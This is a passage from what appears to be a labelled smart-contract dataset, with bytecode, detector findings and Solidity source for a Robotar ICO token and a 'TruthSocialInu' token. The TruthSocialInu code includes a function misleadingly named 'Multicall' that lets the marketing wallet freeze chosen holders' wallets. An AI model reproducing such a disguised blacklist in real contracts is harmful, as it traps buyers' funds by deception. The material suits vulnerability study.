fffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561211557fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561215d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156121aa57600080fd5b6121fb826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820da18dbe85e8a295f2013a4c2ed94aa6bf24d13ac96dee1fef305542738fe75c60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 5,391 |
0x196d4a8d04ecb49997be4684aafb6a89b8474375
|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint);
function transferFrom(address from, address to, uint value) public returns (bool);
function approve(address spender, uint value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
uint totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract RobotarTestToken is MintableToken {
// Constants
// =========
string public constant name = "Robotar token";
string public constant symbol = "TTAR";
uint32 public constant decimals = 18;
// Tokens are frozen until ICO ends.
bool public frozen = true;
address public ico;
modifier icoOnly { require(msg.sender == ico); _; }
// Constructor
// ===========
function RobotarTestToken(address _ico) public {
ico = _ico;
}
function defrost() external icoOnly {
frozen = false;
}
// ERC20 functions
// =========================
function transfer(address _to, uint _value) public returns (bool) {
require(!frozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(!frozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public returns (bool) {
require(!frozen);
return super.approve(_spender, _value);
}
/**
// Save tokens from contract
function withdrawToken(address _tokenContract, address where, uint _value) external icoOnly {
ERC20 _token = ERC20(_tokenContract);
_token.transfer(where, _value);
}
*/
function supplyBezNolei() public view returns(uint) {
return totalSupply().div(1 ether);
}
}
contract TestRobotarCrowdsale is Ownable {
using SafeMath for uint;
address multisig;
RobotarTestToken public token = new RobotarTestToken(this);
// uint public created_time = now;
uint rate = 1000;
uint PresaleStart = 0;
uint CrowdsaleStart = 0;
uint PresalePeriod = 1 days;
uint CrowdsalePeriod = 1 days;
uint public threshold = 1000000000000000;
uint bountyPercent = 10;
uint foundationPercent = 50;
uint teamPercent = 40;
address bounty;
address foundation;
address team;
// Crowdsale constructor
function TestRobotarCrowdsale() public {
multisig = owner;
}
function setPresaleStart(uint _presaleStart) onlyOwner public returns (bool) {
PresaleStart = _presaleStart;
// require(PresaleStart > now) ;
return true;
}
function setCrowdsaleStart(uint _crowdsaleStart) onlyOwner public returns (bool) {
CrowdsaleStart = _crowdsaleStart;
// require(CrowdsaleStart > now && CrowdsaleStart > PresaleStart + 7 days ) ;
return true;
}
/** modifier saleIsOn() {
require(now > testStart && now < testEnd || now > PresaleStart && now < PresaleStart + PresalePeriod || now > CrowdsaleStart && now < CrowdsaleStart + CrowdsalePeriod);
_;
} **/
function createTokens() public payable {
uint tokens = 0;
uint bonusTokens = 0;
if (now > PresaleStart && now < PresaleStart + PresalePeriod) {
tokens = rate.mul(msg.value);
bonusTokens = tokens.div(4);
}
else if (now > CrowdsaleStart && now < CrowdsaleStart + CrowdsalePeriod){
tokens = rate.mul(msg.value);
if(now < CrowdsaleStart + CrowdsalePeriod/4) {bonusTokens = tokens.mul(15).div(100);}
else if(now >= CrowdsaleStart + CrowdsalePeriod/4 && now < CrowdsaleStart + CrowdsalePeriod/2) {bonusTokens = tokens.div(10);}
else if(now >= CrowdsaleStart + CrowdsalePeriod/2 && now < CrowdsaleStart + CrowdsalePeriod*3/4) {bonusTokens = tokens.div(20);}
}
tokens += bonusTokens;
if (tokens>0) {token.mint(msg.sender, tokens);}
}
function() external payable {
if (msg.value >= threshold) createTokens();
}
function finishICO(address _team, address _foundation, address _bounty) external onlyOwner {
uint issuedTokenSupply = token.totalSupply();
uint bountyTokens = issuedTokenSupply.mul(bountyPercent).div(100);
uint foundationTokens = issuedTokenSupply.mul(foundationPercent).div(100);
uint teamTokens = issuedTokenSupply.mul(teamPercent).div(100);
bounty = _bounty;
foundation = _foundation;
team = _team;
token.mint(bounty, bountyTokens);
token.mint(foundation, foundationTokens);
token.mint(team, teamTokens);
token.finishMinting();
}
function defrost() external onlyOwner {
token.defrost();
}
function withdrawEther(uint _value) external onlyOwner {
multisig.transfer(_value);
}
/**
// Save tokens from contract
function withdrawToken(address _tokenContract, uint _value) external onlyOwner {
ERC20 _token = ERC20(_tokenContract);
_token.transfer(multisig, _value);
}
function withdrawTokenFromTAR(address _tokenContract, uint _value) external onlyOwner {
token.withdrawToken(_tokenContract, multisig, _value);
}
//the end
*/
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633bed33ce146100ba57806342cde4e8146100dd57806378152bbe146101065780638da5cb5b14610141578063b073227814610196578063b44272631461020d578063f21cdf6f14610217578063f2fde38b1461022c578063f383c7b314610265578063fc0c546a146102a0575b600854341015156100b8576100b76102f5565b5b005b34156100c557600080fd5b6100db600480803590602001909190505061055f565b005b34156100e857600080fd5b6100f061061f565b6040518082815260200191505060405180910390f35b341561011157600080fd5b6101276004808035906020019091905050610625565b604051808215151515815260200191505060405180910390f35b341561014c57600080fd5b610154610692565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101a157600080fd5b61020b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106b7565b005b6102156102f5565b005b341561022257600080fd5b61022a610c97565b005b341561023757600080fd5b610263600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d89565b005b341561027057600080fd5b6102866004808035906020019091905050610e63565b604051808215151515815260200191505060405180910390f35b34156102ab57600080fd5b6102b3610ed0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060009150600090506004544211801561031657506006546004540142105b1561034d5761033034600354610ef690919063ffffffff16565b9150610346600483610f2e90919063ffffffff16565b9050610470565b6005544211801561036357506007546005540142105b1561046f5761037d34600354610ef690919063ffffffff16565b9150600460075481151561038d57fe5b04600554014210156103c7576103c060646103b2600f85610ef690919063ffffffff16565b610f2e90919063ffffffff16565b905061046e565b60046007548115156103d557fe5b046005540142101580156103fa575060026007548115156103f257fe5b046005540142105b1561041a57610413600a83610f2e90919063ffffffff16565b905061046d565b600260075481151561042857fe5b046005540142101580156104505750600460036007540281151561044857fe5b046005540142105b1561046c57610469601483610f2e90919063ffffffff16565b90505b5b5b5b5b8082019150600082111561055b57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561054257600080fd5b5af1151561054f57600080fd5b50505060405180519050505b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105ba57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561061c57600080fd5b50565b60085481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561068257600080fd5b8160048190555060019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561071857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561079d57600080fd5b5af115156107aa57600080fd5b5050506040518051905093506107de60646107d060095487610ef690919063ffffffff16565b610f2e90919063ffffffff16565b925061080860646107fa600a5487610ef690919063ffffffff16565b610f2e90919063ffffffff16565b91506108326064610824600b5487610ef690919063ffffffff16565b610f2e90919063ffffffff16565b905084600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555086600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156109dd57600080fd5b5af115156109ea57600080fd5b5050506040518051905050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610adb57600080fd5b5af11515610ae857600080fd5b5050506040518051905050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bd957600080fd5b5af11515610be657600080fd5b5050506040518051905050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610c7657600080fd5b5af11515610c8357600080fd5b505050604051805190505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cf257600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f21cdf6f6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1515610d7757600080fd5b5af11515610d8457600080fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e2057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ec057600080fd5b8160058190555060019050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080831415610f095760009050610f28565b8183029050818382811515610f1a57fe5b04141515610f2457fe5b8090505b92915050565b60008183811515610f3b57fe5b049050929150505600a165627a7a72305820200307794c13d62ea1d28efa77723657aa4f628db1989dfefb80fa1c5ea6f7240029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,392 |
0x8278abc7fcd6b6c3cbe676c416f82f58b41d4cf4
|
/*
Truth Social Inu Actually Beat Twitter & TikTok On Apple Store !
It's the time to be heard!
Tax fee : 2% / 4%
Max Wallet : 3%
Telegram : https://t.me/TruthSocialInuPortal
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TruthSocialInu is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e6 * 10**9;
string public constant name = unicode"TruthSocialInu"; ////
string public constant symbol = unicode"TSI"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _MarketingWallet;
address payable private _DevWallet;
address public uniswapV2Pair;
uint public _buyFee = 2;
uint public _sellFee = 4;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event MarketingWalletUpdated(address _MarketingWallet);
event DevWalletUpdated(address _DevWallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable MarketingWallet, address payable DevWallet) {
_MarketingWallet = MarketingWallet;
_DevWallet = DevWallet;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
_isExcludedFromFee[DevWallet] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (300 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_MarketingWallet.transfer(amount / 2);
_DevWallet.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000 * 10**9;
_maxHeldTokens = 30000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _MarketingWallet);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _MarketingWallet);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _MarketingWallet);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _MarketingWallet);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateMarketingWallet(address newAddress) external {
require(_msgSender() == _MarketingWallet);
_MarketingWallet = payable(newAddress);
emit MarketingWalletUpdated(_MarketingWallet);
}
function updateDevWallet(address newAddress) external {
require(_msgSender() == _DevWallet);
_DevWallet = payable(newAddress);
emit DevWalletUpdated(_DevWallet);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
